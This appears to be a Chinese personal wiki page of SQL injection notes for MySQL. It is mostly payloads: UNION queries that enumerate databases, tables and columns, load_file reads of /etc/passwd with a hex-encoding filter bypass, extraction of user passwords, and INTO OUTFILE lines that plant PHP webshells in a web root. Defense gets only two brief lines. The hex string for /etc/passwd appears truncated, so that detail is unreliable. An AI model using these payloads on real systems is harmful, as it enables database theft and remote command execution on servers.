条目数量 : 346


MySQL/安全

来自笔记本
跳到导航 跳到搜索

基础

  • 1=2,让前面的表达式不成立,这样就不会干扰后面的表达式
  • load_file 过滤了空格,空格改为 +
  • 文本型注入点,请用#过滤末尾的单引号,' OR '1'='1
  • magic_quotes_gpc
  • 检查是否包含 ' " , ; ( ) 这些符号,甚至要检查是否包含关键字,比如 FROM , LIKE , WHERE

说明

分类

常见的sql注入按照参数类型可分为两种:数字型和字符型。

当发生注入点的参数为整数时,比如 ID,num,page等,这种形式的就属于数字型注入漏洞。同样,当注入点是字符串时,则称为字符型注入,字符型注入需要引号来闭合。

数据库返回的结果,分为回显注入、报错注入、盲注

注入

UNION

UNION 需要两个被 select 的集合拥有相同的列数。

select * from data where id = 1 and 1=2 union select *-1,concat(current_user(),' ',database())''

错误,ERROR 1222 (21000): The used SELECT statements have a different number of columns

因为它们select出来的结果集的列数不一致,这对一个操作并集合的union来说是不可操作的,所以就报错

判断

全部数据库

and 1=2  union select 1,2,3,4,5,SCHEMA_NAME from information_schema.SCHEMATA

当前数据库的所有表

union select 1, group_concat(table_name) from information_schema.tables where table_schema=database();#

字段

union select 1, group_concat(column_name) from information_schema.columns where table_name='users';#

表名

and 1=2  exists(select * from exampleTable);  

列数

order by 4

当不存在第四列时,报错。

用UNION猜解列数

and 1=2 union select 0,0,name from hehe;  

load_file()和UNION 读取服务器文件内容

函数 LOAD_FILE(file_name):读取文件并将这一文件按照字符串的格式返回。 

文件的位置必须在服务器上 , 你必须为文件制定路径全名,而且你还必须拥有 FILE 特许权。

文件必须可读取,文件容量必须小于 max_allowed_packet 字节。

  1. select * from hehe where id=3 and 1=2 union select 0,load_file("d:/test.txt"),count(*) from mysql.user;  

load_file的过滤

实战中URL写成load_file("/etc/passwd")一般会被过滤,我们可以用16进制来表示 0x2F6574632F70617373776

提取

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #

读取文件

union all select load_file('/etc/passwd')

写入文件 outfile

  1. select '<?php eval($_POST[cmd])?>'  into outfile 'c://cmd.php';  
  2. select "<?php system($_REQUEST['cmd'])?>" into outfile "/var/www/html/cmd.php";  

防范

  1. 过滤 mysql_escape_string
  2. 使用参数形式

question

PHP语句,select * from data where number <='{$number}'
当 number 为 201803-29' and 1=2 union select 1,2,3,4,5,concat(current_user(),' ',database())'
下面是可以的 select * from data where number <= '201803-29' and  1=2 union select 1,2,3,4,5,concat(current_user(),' ',database())''

当 number 为 201803-29' and 1=2  union select 1,2,3,4,5,SCHEMA_NAME from information_schema.SCHEMATA'
最终语句为 select * from data where number <=' 20180329' and 1=2  union select 1,2,3,4,5,SCHEMA_NAME from information_schema.SCHEMATA''
执行时,会因为末尾两个单引号''出错,怎么弄

参考

https://blog.csdn.net/emaste_r/article/details/8156108

https://wizardforcel.gitbooks.io/mst-sec-lecture-notes/content/%E6%BC%8F%E6%B4%9E%E7%AF%87%20SQL%E6%B3%A8%E5%85%A5.html